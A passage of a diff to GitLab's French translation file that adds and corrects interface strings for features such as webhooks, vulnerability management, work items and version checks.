msgstr "Les utilisateurs peuvent lancer un environnement de développement depuis un onglet de navigateur GitLab lorsque l'intégration %{linkStart}Gitpod%{linkEnd} est activée."
@@ -45100,7 +45779,7 @@ msgid "Uses GitLab as an alternative to Sentry."
msgstr "Utilise GitLab comme une alternative à Sentry."
msgid "Using %{code_start}::%{code_end} denotes a %{link_start}scoped label set%{link_end}"
-msgstr ""
+msgstr "L'utilisation de %{code_start}::%{code_end} indique un %{link_start}ensemble d'étiquettes à portée limitée%{link_end}"
msgid "Using required encryption strategy when encrypted field is missing!"
msgstr "Utilisation de la stratégie de chiffrement requise alors que le champ chiffré est manquant !"
@@ -45108,11 +45787,8 @@ msgstr "Utilisation de la stratégie de chiffrement requise alors que le champ c
msgid "Using the %{codeStart}needs%{codeEnd} keyword makes jobs run before their stage is reached. Jobs run as soon as their %{codeStart}needs%{codeEnd} relationships are met, which speeds up your pipelines."
msgstr "L'utilisation du mot-clé %{codeStart}needs%{codeEnd} (nécessité) permet aux tâches d'être exécutées avant que leur étape ne soit atteinte. Les tâches s'exécutent dès que leurs relations avec les %{codeStart}needs%{codeEnd} sont satisfaites, ce qui accélère vos pipelines."
-msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE 🎉"
-msgstr "Code VS dans votre navigateur. Affichez le code et apportez des modifications à partir de la même interface utilisateur que celle de votre EDI local 🎉"
-
-msgid "Valid From"
-msgstr "Valide du"
+msgid "VS Code in your browser. View code and make changes from the same UI as in your local IDE."
+msgstr "VS Code dans votre navigateur. Affichez le code et apportez des modifications à partir de la même interface utilisateur que celle de votre EDI local."
msgid "Validate"
msgstr "Valider"
@@ -45190,13 +45866,13 @@ msgid "ValueStreamAnalytics|Go to docs"
msgstr "Aller à la doc"
msgid "ValueStreamAnalytics|Key metrics"
-msgstr "Clés de mesures"
+msgstr "Métriques clés"
msgid "ValueStreamAnalytics|Median time an incident was open on a production environment in the given time period."
msgstr "Temps médian pendant lequel un incident est resté ouvert dans un environnement de production sur la période temps donnée."
msgid "ValueStreamAnalytics|Median time between merge request merge and deployment to a production environment for all MRs deployed in the given time period."
-msgstr ""
+msgstr "Durée médiane entre la fusion de la demande fusion et le déploiement dans un environnement de production pour toutes les demandes de fusions déployées au cours d'un temps donné."
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr "Médiane de la durée de la création du ticket à sa fermeture."
@@ -45214,7 +45890,7 @@ msgid "ValueStreamAnalytics|Number of new issues created."
msgstr "Nombre de nouveaux tickets créés."
msgid "ValueStreamAnalytics|Percentage of deployments that cause an incident in production."
-msgstr "Pourcentage des déploiements provoquant un icident en production."
+msgstr "Pourcentage des déploiements provoquant un incident en production."
msgid "ValueStreamAnalytics|Shows %{selectedSubjectFilterText} and %{labelsCount} for group '%{groupName}' and %{projectsCount} from %{createdAfter} to %{createdBefore}"
msgstr "Affiche %{selectedSubjectFilterText} et %{labelsCount} pour le groupe « %{groupName} » et %{projectsCount} du %{createdAfter} au %{createdBefore}"
@@ -45232,7 +45908,7 @@ msgid "ValueStreamAnalytics|Tasks by type"
msgstr "Tâches par type"
msgid "ValueStreamAnalytics|There was an error while fetching value stream analytics %{requestTypeName} data."
-msgstr "Une erreur s'est produite lors de la récupération des données d'analyse %{requestTypeName}."
+msgstr "Une erreur s'est produite lors de la récupération des données de %{requestTypeName} pour l'analyse des chaînes de valeur."
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr "Nombre total de déploiements en production."
@@ -45303,6 +45979,9 @@ msgstr "Vous pourrez maintenant profiter des minutes CI/CD gratuites sur les exÃ
msgid "Verified"
msgstr "Vérifié"
+msgid "Verified commit"
+msgstr "Commit vérifié"
+
msgid "Verify SAML Configuration"
msgstr "Vérifier la configuration SAML"
@@ -45310,14 +45989,11 @@ msgid "Verify code"
msgstr "Vérifier le code"
msgid "Verify configuration"
-msgstr ""
+msgstr "Vérifier la configuration"
msgid "Version"
msgstr "Version"
-msgid "Version %{report_version} for report type %{report_type} has been deprecated, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to parse and ingest this report if valid."
-msgstr "La version %{report_version} du type de rapport %{report_type} est obsolète, les versions prises en charge pour ce type de rapport sont : %{supported_schema_versions}. GitLab essaiera d'analyser et d'ingérer ce rapport s'il est valide."
-
msgid "Version %{report_version} for report type %{report_type} is unsupported, supported versions for this report type are: %{supported_schema_versions}. GitLab will attempt to validate this report against the earliest supported versions of this report type, to show all the errors but will not ingest the report"
msgstr "La version %{report_version} du type rapport de %{report_type} n'est pas prise en charge, les versions prises en charge pour ce type de rapport sont : %{supported_schema_versions}. GitLab essaiera de valider ce rapport avec les versions les plus anciennes prises en charge pour ce type de rapport afin d'afficher toutes les erreurs mais ne l'ingérera pas"
@@ -45334,7 +46010,7 @@ msgid "VersionCheck|Critical security upgrade available"
msgstr "Mise à jour de sécurité critique disponible"
msgid "VersionCheck|Important notice - Critical security release"
-msgstr ""
+msgstr "Annonce importante - Version de sécurité critique"
msgid "VersionCheck|Learn more about this critical security release."
msgstr "En savoir plus sur cette version de sécurité critique."
@@ -45355,10 +46031,10 @@ msgid "VersionCheck|Upgrade now"
msgstr "Mettre à niveau maintenant"
msgid "VersionCheck|You are currently on version %{currentVersion}! We strongly recommend upgrading your GitLab installation immediately."
-msgstr ""
+msgstr "Vous êtes actuellement sur la version %{currentVersion} ! Nous vous recommandons fortement de mettre à jour votre installation de GitLab immédiatement."
msgid "VersionCheck|You are currently on version %{currentVersion}! We strongly recommend upgrading your GitLab installation to one of the following versions immediately: %{latestStableVersions}."
-msgstr ""
+msgstr "Vous êtes actuellement sur la version %{currentVersion} ! Nous vous recommandons fortement de mettre à jour votre installation de GitLab immédiatement vers l'une des versions suivantes : %{latestStableVersions}."
msgid "VersionCheck|You are currently on version %{currentVersion}. We strongly recommend upgrading your GitLab installation. %{link}"
msgstr "Vous êtes actuellement sur la version %{currentVersion}. Nous vous recommandons fortement de mettre à jour votre installation de GitLab. %{link}"
@@ -45387,6 +46063,9 @@ msgstr "Voir tous les tickets"
msgid "View all projects"
msgstr "Voir tous les projets"
+msgid "View and edit markdown, with the option to preview the formatted output."
+msgstr "Affichez et modifiez le markdown, avec la possibilité de prévisualiser la sortie formatée."
+
msgid "View blame"
msgstr "Voir les annotations"
@@ -45394,7 +46073,7 @@ msgid "View blame prior to this change"
msgstr "Voir les annotations antérieures à cette modification"
msgid "View card matches"
-msgstr ""
+msgstr "Voir les correspondances de carte"
msgid "View chart"
msgid_plural "View charts"
@@ -45481,6 +46160,9 @@ msgstr "Afficher le journal"
msgid "View logs"
msgstr "Voir les journaux"
+msgid "View markdown"
+msgstr "Voir le markdown"
+
msgid "View milestones"
msgstr "Voir les jalons"
@@ -45513,8 +46195,11 @@ msgstr[1] "Afficher les clés GPG publiques"
msgid "View replaced file @ "
msgstr "Voir le fichier remplacé @ "
+msgid "View rich text"
+msgstr "Voir le texte enrichi"
+
msgid "View seat usage"
-msgstr ""
+msgstr "Voir l'utilisation des sièges"
msgid "View supported languages and frameworks"
msgstr "Voir les cadres et langages pris en charge"
@@ -45525,6 +46210,9 @@ msgstr "Voir l'attribut %{code_open}last_activity_at%{code_close} de %{project_l
msgid "View the documentation"
msgstr "Afficher la documentation"
+msgid "View the formatted output in real-time as you edit."
+msgstr "Voir la sortie formatée en temps réel pendant que vous tapez."
+
msgid "View the latest successful deployment to this environment"
msgstr "Voir le dernier déploiement réussi dans cet environnement"
@@ -45549,9 +46237,6 @@ msgstr "L'affichage des projets et des données des esquisses depuis un site pri
msgid "Violation"
msgstr "Violation"
-msgid "Visibility"
-msgstr "Visibilité"
-
msgid "Visibility and access controls"
msgstr "Contrôles de visibilité et d’accès"
@@ -45634,10 +46319,10 @@ msgid "VulnerabilityManagement|(optional) Include the solution to the vulnerabil
msgstr "(facultatif) Inclure la solution à la vulnérabilité si disponible."
msgid "VulnerabilityManagement|A removed or remediated vulnerability"
-msgstr "Une vulnérabilité supprimée ou corrigée"
+msgstr "Une vulnérabilité supprimée ou remédiée"
msgid "VulnerabilityManagement|A true-positive and will fix"
-msgstr ""
+msgstr "Un vrai positif et sera corrigée"
msgid "VulnerabilityManagement|A verified true-positive vulnerability"
msgstr "Une vulnérabilité confirmée comme vrai positif"
@@ -45646,7 +46331,7 @@ msgid "VulnerabilityManagement|Add vulnerability finding"
msgstr "Ajouter une vulnérabilité découverte"
msgid "VulnerabilityManagement|An unverified non-confirmed finding"
-msgstr ""
+msgstr "Une découverte non-confirmée non vérifiée"
msgid "VulnerabilityManagement|Change status"
msgstr "Changer l'état"
@@ -45679,13 +46364,13 @@ msgid "VulnerabilityManagement|Name is a required field"
msgstr "Le nom est un champ requis"
msgid "VulnerabilityManagement|Needs triage"
-msgstr ""
+msgstr "Nécessite un triage"
msgid "VulnerabilityManagement|Read more about related issues"
msgstr "En savoir plus sur les tickets associés"
msgid "VulnerabilityManagement|Related Jira issues"
-msgstr ""
+msgstr "Tickets Jira associés"
msgid "VulnerabilityManagement|Requires assessment"
msgstr "Nécessite une évaluation"
@@ -45733,19 +46418,19 @@ msgid "VulnerabilityManagement|Status is a required field"
msgstr "L'état est un champ requis"
msgid "VulnerabilityManagement|Submit vulnerability"
-msgstr ""
+msgstr "Soumettre une vulnérabilité"
msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
msgstr "Résumé, description détaillée, étapes de reproductibilité, etc."
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
-msgstr ""
+msgstr "Vérifiée comme corrigée ou atténuée"
msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
msgstr "Nom ou type de la vulnérabilité : Ex : Script intersites"
msgid "VulnerabilityManagement|Will not fix or a false-positive"
-msgstr ""
+msgstr "Ne sera pas corrigée ou est un faux positif"
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr "ID ou lien de ticket non valide"
@@ -45829,7 +46514,7 @@ msgid "Vulnerability|Enter the associated CVE or CWE entries for this vulnerabil
msgstr "Saisissez les entrées CVE ou CWE associées pour cette vulnérabilité."
msgid "Vulnerability|Evidence"
-msgstr ""
+msgstr "Preuve"
msgid "Vulnerability|External Security Report"
msgstr "Rapport de Sécurité Externe"
@@ -45883,7 +46568,7 @@ msgid "Vulnerability|Project:"
msgstr "Projet :"
msgid "Vulnerability|Remove identifier row"
-msgstr ""
+msgstr "Supprimer la ligne d’identifiant"
msgid "Vulnerability|Reproduction Assets"
msgstr ""
@@ -45952,7 +46637,7 @@ msgid "WARNING: This snippet contains hidden files which might be used to mask m
msgstr "AVERTISSEMENT : cet extrait contient des fichiers cachés qui pourraient être utilisés pour masquer un comportement malveillant. Soyez prudent si vous clonez et exécutez du code à partir de cet extrait."
msgid "Wait for the file to load to copy its contents"
-msgstr ""
+msgstr "Attendez que le fichier soit chargé pour copier son contenu"
msgid "Waiting for approval"
msgstr "En attente d’approbation"
@@ -45979,7 +46664,7 @@ msgid "Warning: Synchronizing LDAP removes direct members' access."
msgstr "Avertissement : La synchronisation LDAP supprime l'accès des membres directs."
msgid "Watch how"
-msgstr ""
+msgstr "Regardez comment"
msgid "We also use email for avatar detection if no avatar is uploaded."
msgstr "Nous utilisons aussi l'adresse de courriel pour la détection d'avatar si aucun n'est téléversé."
@@ -46060,7 +46745,7 @@ msgid "We want to be sure it is you, please confirm you are not a robot."
msgstr "Nous voulons nous assurer qu’il s’agit bien de vous, merci de confirmer que vous n’êtes pas un robot."
msgid "We want to let you know %{username} has exceeded the Git rate limit due to them downloading more than %{max_project_downloads} project %{repositories_text} within %{within_text}."
-msgstr ""
+msgstr "Nous souhaitons vous informer que %{username} a dépassé une limitation de Git en téléchargeant plus de %{max_project_downloads} %{repositories_text} de projet en l'espace de %{within_text}."
msgid "We will notify %{inviter} that you declined their invitation to join GitLab. You will stop receiving reminders."
msgstr "Nous informerons %{inviter} que vous avez refusé leur invitation à rejoindre GitLab. Vous ne recevrez plus de rappels."
@@ -46114,7 +46799,7 @@ msgid "WebIDE|Quickly and easily edit multiple files in your project."
msgstr "Modifier rapidement et facilement plusieurs fichiers de votre projet."
msgid "WebIDE|Quickly and easily edit multiple files in your project. Press . to open"
-msgstr "Modifier rapidement et facilement plusieurs fichiers de votre projet. Appuyez sur . pour ouvrir\n"
+msgstr "Modifier rapidement et facilement plusieurs fichiers de votre projet. Appuyez sur . pour ouvrir"
msgid "WebIDE|This project does not accept unsigned commits."
msgstr "Ce projet n’accepte pas les commits non signés."
@@ -46144,10 +46829,10 @@ msgid "Webhook"
msgstr "Crochet web"
msgid "Webhook Logs"
-msgstr "Journaux Webhook"
+msgstr "Journaux des crochets web"
msgid "Webhook Settings"
-msgstr "Paramètres Webhook"
+msgstr "Paramètres des crochets web"
msgid "Webhook events will be displayed here."
msgstr "Les événements de crochet web seront affichés ici."
@@ -46213,7 +46898,7 @@ msgid "Webhooks|A subgroup is created or removed."
msgstr "Un sous-groupe est créé ou supprimé."
msgid "Webhooks|A webhook in this project was automatically disabled after being retried multiple times."
-msgstr "Un webhook de ce projet a été désactivé automatiquement après avoir été retenté plusieurs fois."
+msgstr "Un crochet web de ce projet a été désactivé automatiquement après avoir été retenté plusieurs fois."
msgid "Webhooks|A wiki page is created or updated."
msgstr "Une page wiki est créée ou mise à jour."
@@ -46249,16 +46934,16 @@ msgid "Webhooks|Enable SSL verification"
msgstr "Activer la vérification SSL"
msgid "Webhooks|Failed to connect"
-msgstr "Échec de la connexion"
+msgstr "N'a pas réussi à se connecter"
msgid "Webhooks|Fails to connect"
-msgstr "Échoue à se connecter"
+msgstr "N'arrive pas à se connecter"
msgid "Webhooks|Feature flag events"
msgstr "Événements d'indicateur de fonctionnalité"
msgid "Webhooks|Go to webhooks"
-msgstr "Aller aux webhooks"
+msgstr "Aller aux crochets web"
msgid "Webhooks|How it looks in the UI"
msgstr "À quoi elle ressemble dans l'interface graphique"
@@ -46279,17 +46964,17 @@ msgid "Webhooks|Merge request events"
msgstr "Événements de demande de fusion"
msgid "Webhooks|Must match part of URL"
-msgstr ""
+msgstr "Doit correspondre à une partie de l'URL"
msgid "Webhooks|Pipeline events"
msgstr "Événements des pipelines"
-msgid "Webhooks|Regex such as %{REGEX_CODE} is supported."
-msgstr "Les expressions rationnelles telles que %{REGEX_CODE} sont prises en charge."
-
msgid "Webhooks|Regular expression"
msgstr "Expression rationnelle"
+msgid "Webhooks|Regular expressions such as %{REGEX_CODE} are supported."
+msgstr "Les expressions rationnelles telles que %{REGEX_CODE} sont prises en charge."
+
msgid "Webhooks|Releases events"
msgstr "Événements de Versions"
@@ -46330,7 +47015,7 @@ msgid "Webhooks|Used to validate received payloads. Sent with the request in the
msgstr "Utilisé pour valider les charges utiles reçues. Envoyé avec la requête dans l'en-tête HTTP %{code_start}X-Gitlab-Token%{code_end}."
msgid "Webhooks|Webhook disabled"
-msgstr "Webhook désactivé"
+msgstr "Crochet web désactivé"
msgid "Webhooks|Webhook failed to connect"
msgstr "Le crochet Web n'a pas réussi à se connecter"
@@ -46342,16 +47027,16 @@ msgid "Webhooks|Webhook rate limit has been reached"
msgstr "La limite de fréquence d'appel de crochet web a été atteinte"
msgid "Webhooks|Webhooks for %{root_namespace} are now disabled because they've been triggered more than %{limit} times per minute. They'll be automatically re-enabled in the next minute."
-msgstr "Les webhooks de %{root_namespace} sont maintenant désactivés car ils ont été déclenchés plus de %{limit} fois par minute. Ils seront automatiquement réactivés la minute suivante."
+msgstr "Les crochets web de %{root_namespace} sont maintenant désactivés car ils ont été déclenchés plus de %{limit} fois par minute. Ils seront automatiquement réactivés la minute suivante."
msgid "Webhooks|Wiki page events"
msgstr "Événements des Pages Wiki"
msgid "Webhooks|Wildcard pattern"
-msgstr ""
+msgstr "Motif avec jokers"
msgid "Webhooks|Wildcards such as %{WILDCARD_CODE_STABLE} or %{WILDCARD_CODE_PRODUCTION} are supported."
-msgstr ""
+msgstr "Les jokers tels que %{WILDCARD_CODE_STABLE} ou %{WILDCARD_CODE_PRODUCTION} sont pris en charge."
msgid "Website"
msgstr "Site Web"
@@ -46453,7 +47138,7 @@ msgid "When enabled, SSH keys with no expiry date or an invalid expiration date
msgstr "Lorsque cette option est activée, les clés SSH sans date d'expiration ou avec une date d'expiration invalide ne sont plus acceptées. Laisser vide pour aucune limite."
msgid "When enabled, cleanup polices execute faster but put more load on Redis."
-msgstr ""
+msgstr "Si activé, les stratégies de nettoyage s'exécutent plus rapidement mais génèrent une charge plus élevée sur Redis."
msgid "When enabled, existing access tokens may be revoked. Leave blank for no limit."
msgstr "Lorsque cette option est activée, les jetons d'accès existants peuvent être révoqués. Laissez vide pour aucune limite."
@@ -46466,8 +47151,8 @@ msgstr "Quand des demandes de fusion et des commits sont fermés sur la branche
msgid "When this merge request is accepted"
msgid_plural "When these merge requests are accepted"
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Lorsque cette demande de fusion est acceptée"
+msgstr[1] "Lorsque ces demandes de fusion sont acceptées"
msgid "When using the %{code_open}http://%{code_close} or %{code_open}https://%{code_close} protocols, please provide the exact URL to the repository. HTTP redirects will not be followed."
msgstr "Lors de l'utilisation des protocoles %{code_open}http://%{code_close} ou %{code_open}https://%{code_close}, veuillez fournir l'URL exacte du dépôt. Les redirections HTTP ne seront pas suivies."
@@ -46481,7 +47166,7 @@ msgstr[0] "À la fin de votre période d'essai, vous basculerez sur l'édition G
msgstr[1] "À la fin de votre période d'essai, vous basculerez sur l'édition Gratuite qui est limitée à %{free_user_limit} sièges. %{free_user_limit} sièges resteront actifs, et les membres qui n'occupent pas de siège passeront à l'%{link_start}état Hors limite%{link_end} et perdront l'accès à ce groupe."
msgid "When:"
-msgstr ""
+msgstr "Quand :"
msgid "Which API requests are affected?"
msgstr "Quelles requêtes d'API sont affectées ?"
@@ -46712,7 +47397,7 @@ msgid "Will be mapped to"
msgstr "Sera associé à"
msgid "Will be released"
-msgstr ""
+msgstr "Sera publié"
msgid "Will deploy to"
msgstr "Sera déployé sur"
@@ -46735,9 +47420,21 @@ msgstr "Travaux en cours (ouverts et non assignés)"
msgid "Work in progress Limit"
msgstr "Limite des travaux en cours"
+msgid "WorkItem|%{count} more assignees"
+msgstr "%{count} autres personnes assignées"
+
+msgid "WorkItem|%{invalidWorkItemsList} cannot be added: Cannot assign a non-confidential %{childWorkItemType} to a confidential parent %{parentWorkItemType}. Make the selected %{childWorkItemType} confidential and try again."
+msgstr ""
+
msgid "WorkItem|%{workItemType} deleted"
msgstr "%{workItemType} supprimé"
+msgid "WorkItem|A non-confidential %{workItemType} cannot be assigned to a confidential parent %{parentWorkItemType}."
+msgstr "Un(e) %{workItemType} non-confidentiel(le) ne peut pas assigné(e) à un(e) %{parentWorkItemType} parent confidentiel(le)."
+
+msgid "WorkItem|Activity"
+msgstr "Activité"
+
msgid "WorkItem|Add"
msgstr "Ajouter"
@@ -46783,7 +47480,7 @@ msgid "WorkItem|Cancel"
msgstr "Annuler"
msgid "WorkItem|Child objectives and key results"
-msgstr ""
+msgstr "Objectifs et résultats clés enfants"
msgid "WorkItem|Child removed"
msgstr "Enfant supprimé"
@@ -46824,6 +47521,9 @@ msgstr "Tâche existante"
msgid "WorkItem|Expand tasks"
msgstr "Étendre les tâches"
+msgid "WorkItem|Health status"
+msgstr "État de santé"
+
msgid "WorkItem|Incident"
msgstr "Incident"
@@ -46833,7 +47533,7 @@ msgstr "Ticket"
msgid "WorkItem|Iteration"
msgstr "Itération"
-msgid "WorkItem|Key result"
+msgid "WorkItem|Key Result"
msgstr "Résultat clé"
msgid "WorkItem|Milestone"
@@ -46866,8 +47566,8 @@ msgstr "Aucun"
msgid "WorkItem|Objective"
msgstr "Objectif"
-msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this task."
-msgstr "Seuls l'auteur, les assignés et les membres du projet ayant au moins le rôle de Rapporteur peuvent voir cette tâche ou recevoir des notifications la concernant."
+msgid "WorkItem|Only project members with at least the Reporter role, the author, and assignees can view or be notified about this %{workItemType}."
+msgstr "Seuls les membres du projet ayant au moins le rôle de Rapporteur, l'auteur et les assignés peuvent voir ce(tte) %{workItemType} et être notifiés à son propos."
msgid "WorkItem|Open"
msgstr "Ouvrir"
@@ -46876,7 +47576,7 @@ msgid "WorkItem|Remove"
msgstr "Supprimer"
msgid "WorkItem|Requirements"
-msgstr ""
+msgstr "Exigences"
msgid "WorkItem|Save and overwrite"
msgstr "Enregistrer et écraser"
@@ -46920,6 +47620,12 @@ msgstr "Une erreur s’est produite lors de la création d’un enfant. Veuillez
msgid "WorkItem|Something went wrong while fetching milestones. Please try again."
msgstr "Une erreur s’est produite lors de la récupération des jalons. Veuillez réessayer."
+msgid "WorkItem|Something went wrong while removing child."
+msgstr "Une erreur s'est produite lors de la suppression de l'enfant."
+
+msgid "WorkItem|Something went wrong while undoing child removal."
+msgstr "Une erreur s'est produite lors de l'opération pour annuler la suppression de l'enfant."
+
msgid "WorkItem|Something went wrong while updating the %{workItemType}. Please try again."
msgstr "Une erreur s'est produite lors de la mise à jour de %{workItemType}. Veuillez réessayer."
@@ -46941,6 +47647,12 @@ msgstr "Tâches"
msgid "WorkItem|Test case"
msgstr "Cas de test"
+msgid "WorkItem|This %{workItemType} is confidential and should only be visible to team members with at least Reporter access"
+msgstr "Ce(tte) %{workItemType} est confidentiel(le) et ne devrait être visible que par les membres de l'équipe disposant au moins d'un accès Rapporteur"
+
+msgid "WorkItem|This objective is confidential and should only be visible to team members with at least Reporter access"
+msgstr "Cet objectif est confidentiel et ne devrait être visible que par les membres de l'équipe disposant au moins d'un accès Rapporteur"
+
msgid "WorkItem|This work item is not available. It either doesn't exist or you don't have permission to view it."
msgstr "Cet élément de travail n'est pas disponible. Soit il n'existe pas, soit vous n'avez pas la permission de le voir."
@@ -47045,6 +47757,9 @@ msgstr "Vous êtes sur le point de supprimer ce projet divergent qui contient :
msgid "You are about to delete this project containing:"
msgstr "Vous êtes sur le point de supprimer ce projet contenant :"
+msgid "You are about to incur additional charges"
+msgstr "Vous êtes sur le point d'engager des frais supplémentaires"
+
msgid "You are about to transfer the control of your account to %{group_name} group. This action is NOT reversible, you won't be able to access any of your groups and projects outside of %{group_name} once this transfer is complete."
msgstr "Vous êtes sur le point de transférer le contrôle de votre compte au groupe %{group_name}. Cette action n'est PAS réversible, vous ne pourrez plus accéder à aucun de vos groupes et projets en dehors de %{group_name} une fois ce transfert terminé."
@@ -47094,7 +47809,7 @@ msgid "You are going to turn off the confidentiality. This means %{strongStart}e
msgstr "Vous allez désactiver la confidentialité. Cela signifie que %{strongStart}tout le monde%{strongEnd} sera en mesure de voir et laisser un commentaire sur ce(tte) %{issuableType}."
msgid "You are going to turn on confidentiality. Only %{context} members with %{strongStart}%{permissions}%{strongEnd} can view or be notified about this %{issuableType}."
-msgstr ""
+msgstr "Vous allez activer la confidentialité. Seuls les membres de %{context} avec %{strongStart}%{permissions}%{strongEnd} peuvent voir ou être notifiés à propos de ce(tte) %{issuableType}."
msgid "You are not allowed to %{action} a user"
msgstr "Vous n'avez pas le droit de %{action} un utilisateur"
@@ -47118,7 +47833,7 @@ msgid "You are not allowed to reject a user"
msgstr "Vous n'êtes pas autorisé(e) à rejeter un utilisateur"
msgid "You are not allowed to unlink your primary login account"
-msgstr ""
+msgstr "Vous n'êtes pas autorisé à dissocier votre compte de connexion principal"
msgid "You are not authorized to delete this site profile"
msgstr "Vous n'êtes pas autorisé(e) à supprimer ce profil de site"
@@ -47177,9 +47892,6 @@ msgstr "Vous pouvez aussi appuyer sur ⌘-Entrée"
msgid "You can also star a label to make it a priority label."
msgstr "Vous pouvez marquer un label comme important pour en faire un label prioritaire."
-msgid "You can also test your %{gitlab_ci_yml} in %{lint_link_start}CI Lint%{lint_link_end}"
-msgstr "Vous pouvez également tester votre %{gitlab_ci_yml} dans %{lint_link_start}CI Lint%{lint_link_end}"
-
msgid "You can also upload existing files from your computer using the instructions below."
msgstr "Vous pouvez également téléverser des fichiers existants depuis votre ordinateur en suivant les instructions ci-dessous."
@@ -47196,7 +47908,7 @@ msgid "You can always edit this later"
msgstr "Vous pouvez toujours modifier ceci plus tard"
msgid "You can check it in your %{pat_link_start}personal access tokens%{pat_link_end} settings."
-msgstr ""
+msgstr "Vous pouvez le vérifier dans vos paramètres de %{pat_link_start}jetons d'accès personnels%{pat_link_end}."
msgid "You can check it in your in your personal access tokens settings %{pat_link}."
msgstr ""
@@ -47208,7 +47920,7 @@ msgid "You can check your tokens or create a new one in your personal access tok
msgstr "Vous pouvez vérifier vos jetons ou en créer de nouveaux dans vos paramètres de jetons d'accès personnels %{pat_link}."
msgid "You can create a new %{link}."
-msgstr ""
+msgstr "Vous pouvez créer un nouveau %{link}."
msgid "You can create a new %{name} inside this project by sending an email to the following email address:"
msgstr "Vous pouvez créer un(e) nouveau(elle) %{name} dans ce projet en envoyant un courriel à l'adresse de messagerie suivante :"
@@ -47270,6 +47982,9 @@ msgstr "Vous pouvez inviter un nouveau membre sur %{project_name}."
msgid "You can invite another group to %{project_name}."
msgstr "Vous pouvez inviter un autre groupe sur %{project_name}."
+msgid "You can modify this job's CI/CD variables before running it again."
+msgstr "Vous pouvez modifier les variables CI/CD de cette tâche avant de l'exécuter à nouveau."
+
msgid "You can move around the graph by using the arrow keys."
msgstr "Vous pouvez vous déplacer dans le graphe en utilisant les touches fléchées."
@@ -47309,9 +48024,6 @@ msgstr "Vous pouvez configurer des tâches pour utiliser uniquement des exécute
msgid "You can specify notification level per group or per project."
msgstr "Vous pouvez spécifier le niveau de notification par groupe ou par projet."
-msgid "You can test your .gitlab-ci.yml in %{linkStart}CI Lint%{linkEnd}."
-msgstr "Vous pouvez tester votre fichier « .gitlab-ci.yml » avec %{linkStart}CI Lint%{linkEnd}."
-
msgid "You can view the source or %{linkStart}%{cloneIcon} clone the repository%{linkEnd}"
msgstr "Vous pouvez afficher la source ou %{linkStart}%{cloneIcon} cloner le dépot%{linkEnd}"
@@ -47327,8 +48039,8 @@ msgstr "Vous ne pouvez pas accéder au fichier brut. Veuillez patienter une minu
msgid "You cannot add any more epics. This epic already has maximum number of child epics."
msgstr "Vous ne pouvez pas ajouter davantage d'épopées. Cette épopée contient déjà le nombre maximal d'épopées enfants."
-msgid "You cannot approve your own deployment."
-msgstr "Vous ne pouvez pas approuver votre propre déploiement."
+msgid "You cannot approve your own deployment. This configuration can be adjusted in the protected environment settings."
+msgstr "Vous ne pouvez pas approuver votre propre déploiement. Cette configuration peut être ajustée dans les paramètres de l'environnement protégé."
msgid "You cannot combine replace_ids with add_ids or remove_ids"
msgstr "Vous ne pouvez pas combiner replace_ids avec add_ids ou remove_ids"
@@ -47420,8 +48132,8 @@ msgstr "Vous n'avez aucune demande de fusion ouverte"
msgid "You don't have any recent searches"
msgstr "Vous n'avez aucune recherche récente"
-msgid "You don't have permission to review this deployment. Contact the project or group owner for help."
-msgstr "Vous n'avez pas la permission d'examiner ce déploiement. Contactez le propriétaire du projet ou du groupe pour obtenir de l'aide."
+msgid "You don't have permission to approve this deployment. Contact the project or group owner for help."
+msgstr "Vous n'avez pas la permission d'approuver ce déploiement. Contactez le propriétaire du projet ou du groupe pour obtenir de l'aide."
msgid "You don't have permission to view this epic"
msgstr "Vous n'avez pas la permission de voir cette épopée"
@@ -47446,8 +48158,11 @@ msgstr "Vous n'avez pas accès à l'analyse des chaînes de valeur de ce groupe"
msgid "You have %{pendingMembersCount} pending member that needs approval."
msgid_plural "You have %{pendingMembersCount} pending members that need approval."
-msgstr[0] ""
-msgstr[1] ""
+msgstr[0] "Vous avez %{pendingMembersCount} membre en attente qui nécessite une approbation."
+msgstr[1] "Vous avez %{pendingMembersCount} membres en attente qui nécessitent une approbation."
+
+msgid "You have already reported this user"
+msgstr "Vous avez déjà signalé cet utilisateur"
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr "Un accès %{access_level} vous a été accordé sur le %{source_type} %{source_link}."
@@ -47566,6 +48281,9 @@ msgstr "Seul un responsable peut forcer la suppression d’un verrou"
msgid "You must provide a valid current password"
msgstr "Vous devez fournir le mot de passe actuel correct"
+msgid "You must provide at least one filter argument for this query"
+msgstr "Vous devez fournir au moins un argument de filtre pour cette requête"
+
msgid "You must provide your current password in order to change it."
msgstr "Vous devez fournir votre mot de passe actuel pour le changer."
@@ -47591,7 +48309,7 @@ msgid "You need to register a two-factor authentication app before you can set u
msgstr "Vous devez enregistrer une application d'authentification à deux facteurs avant de pouvoir configurer un appareil."
msgid "You need to set terms to be enforced"
-msgstr ""
+msgstr "Vous devez définir les termes à imposer"
msgid "You need to specify both an Access Token and a Host URL."
msgstr "Vous devez spécifier à la fois un Jeton d'Accès et une URL d'Hôte."
@@ -47675,7 +48393,7 @@ msgid "You're not allowed to make changes to this project directly. A fork of th
msgstr "Vous n'êtes pas autorisé à modifier directement ce projet. Une divergence de ce projet a été créée afin que vous puissiez y apporter des modifications, et ainsi vous pourrez soumettre une demande de fusion."
msgid "You're not allowed to make changes to this project directly. A fork of this project is being created that you can make changes in, so you can submit a merge request."
-msgstr ""
+msgstr "Vous n'êtes pas autorisé à modifier directement ce projet. Une divergence de ce projet est en cours de création afin que vous puissiez y apporter des modifications, et ainsi vous pourrez soumettre une demande de fusion."
msgid "You're receiving this email because of your account on %{host}."
msgstr "Vous recevez ce courriel parce que vous possédez un compte sur %{host}."
@@ -47719,8 +48437,10 @@ msgstr "Vous avez déjà activé l'authentification à deux facteurs à l'aide d
msgid "You've rejected %{user}"
msgstr "Vous avez rejeté %{user}"
-msgid "You've successfully purchased the %{plan} plan subscription for %{seats} and you'll receive a receipt by email. Your purchase may take a minute to sync, refresh the page if your subscription details haven't displayed yet."
